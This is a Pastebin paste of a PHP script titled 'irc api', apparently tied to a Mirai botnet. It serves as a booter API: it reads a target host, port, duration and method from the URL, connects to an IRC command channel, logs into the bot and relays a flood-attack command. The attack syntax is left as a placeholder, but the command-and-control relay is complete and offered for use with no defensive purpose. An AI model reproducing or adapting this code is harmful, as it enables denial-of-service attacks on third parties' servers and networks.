miraip0ts

irc api

Jul 15th, 2019
451
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.64 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(10);
  4.  
  5. //http://website.com/send.php?method=udp&host=183.213.76.108&port=8000&time=60&key=LMDWqcnP3
  6.  
  7. $APIkey = "api key here";
  8.  
  9.     /* SELECT IRC NETWORK */
  10.     $server_host = "IRC IP HERE";
  11.     $server_port = IRC PORT HERE;
  12.     $server_pass = "IRC PASSWORD HERE";
  13.            
  14.     /* SELECT IRC CHANNEL */
  15.     $channel = "#IRC CHANNEL HERE";
  16.     $chankey = "channel_key";
  17.    
  18.     /* IRC BOT PASSWORD */
  19.     $botPassword = "irc BOT password here";
  20.  
  21.  
  22. $errors = array();
  23.  
  24. if($_GET['debug'] == "1"){ $debug = 1; } else { $debug = 0; };
  25.  
  26. $keyyy = $_GET['key'];
  27. if (!preg_match('/^[a-zA-Z0-9\.-_]+$/',$keyyy)) die("key is invalid");
  28.  
  29. /* BEGIN PROCESSING REQUEST */
  30. if($keyyy == $APIkey){
  31.  
  32.         /* IPHost convert host input to IP */
  33.         $IPHost = preg_replace('/\/.*/', '', preg_replace('/.*:\/\//', '', gethostbyname($host)));
  34.        
  35.         $port = (int)$_GET['port'] > 0 && (int)$_GET['port'] < 65536 ? $_GET['port'] : 80;
  36.         $time = intval($_GET['time']);
  37.         $method = $_GET['method'];
  38.  
  39.         if (!is_numeric($time)) { $errors[] = '**Time is invalid**'; }
  40.        
  41.         if ($method == "http") { $cmd = "command here fools";  } //add in your attack syntax. make new lines for all attack commands. use $host $time $port all that shit
  42.        
  43.         if (empty($cmd)){ $errors[] = '**INVALID METHOD**'; }
  44.            
  45.         if (empty($host) || empty($time) || empty($port) || empty($method))
  46.         {
  47.             $errors[] = '**MISSING ARGUMENTS ERROR**';
  48.         }
  49.  
  50. /* !!SANITIZED AND COLLECTED ALL INFO - BEGIN PROCESSING IF NO ERRORS!! */ 
  51. if (empty($errors)){
  52.  
  53.             $search = array('[IP]', '[PORT]', '[TIME]');
  54.             $replac = array($host, $port, $time);
  55.  
  56.             $command = str_replace($search, $replac, $cmd);
  57.  
  58.             $nickname = "irc nickname here";
  59.             $server = array();
  60.             $Go = false;
  61.             $Read = false;
  62.             $x = 0;
  63.  
  64.             $server['SOCKET'] = fsockopen($server_host,$server_port,$errCode,$errStr,2);
  65.                     if($server['SOCKET']) {
  66.                         SendCommand("PASS $server_pass\n\r");
  67.                         SendCommand("NICK $nickname\n\r");
  68.                         SendCommand("USER $nickname USING PHP IRC\n\r");   
  69.                         while(!feof($server['SOCKET'])) {
  70.                             $server['READ_BUFFER'] = fgets($server['SOCKET'], 1024);
  71.                             if($debug == 2)echo $server['READ_BUFFER']."<br>";
  72.                             if($x != 10) {
  73.                                 $x++;
  74.                             } else {
  75.                                 if($Go == false) {
  76.                                         //if(strpos($server['READ_BUFFER'],":MOTD")) { 
  77.                                             SendCommand("OPER COMMAND HERE\n\r");
  78.                                             SendCommand("JOIN $channel $chankey\n\r");
  79.                                             $Go = true;
  80.                                             //break;
  81.                                       // }
  82.                                    
  83.                                 }
  84.                             }    
  85.                             if(substr($server['READ_BUFFER'], 0, 6) == "PING :") {
  86.                                 SendCommand("PONG :".substr($server['READ_BUFFER'], 6)."\n\r");
  87.                             }
  88.                             if($Go == true) {
  89.                                 if(strpos($server['READ_BUFFER'],"/NAMES")) {  
  90.                                     $loginCMD = "(add login syntax or whatever) ".$botPassword;
  91.                                    
  92.                                     /* LOGIN TO BOT */
  93.                                     SendCommand("PRIVMSG $channel $loginCMD\n\r");  
  94.                                    
  95.                                     /*SEND ATTACK */
  96.                                     SendCommand("PRIVMSG $channel $cmd\n\r");
  97.                                    
  98.                                     /* LOGOUT */
  99.                                     SendCommand("PRIVMSG $channel .logout\n\r");
  100.  
  101.                                     echo "Attack Sent!";
  102.                                     SendCommand("/disconnect");
  103.                                     die();
  104.                                 }
  105.                             }  
  106.                              if(strpos($server['READ_BUFFER'],"+dc")) {
  107.                                 //SendCommand("/disconnect");
  108.                                 //die();
  109.                             }
  110.                            
  111.                         }            
  112.                     }
  113.  
  114.                     echo '<p>Attack sent!</p>';
  115.  
  116.             }
  117.             else
  118.             {
  119.                 echo '<p><strong>ERROR:</strong><br />';
  120.                 foreach($errors as $error)
  121.                 {
  122.                     echo '-'.$error.'<br />';
  123.                 }
  124.                
  125.         }      
  126. }
  127. function SendCommand($cmd) {
  128.     global $server;
  129.     @fwrite($server['SOCKET'], $cmd, strlen($cmd));
  130. }
  131. ?>
Add Comment
Please, Sign In to add comment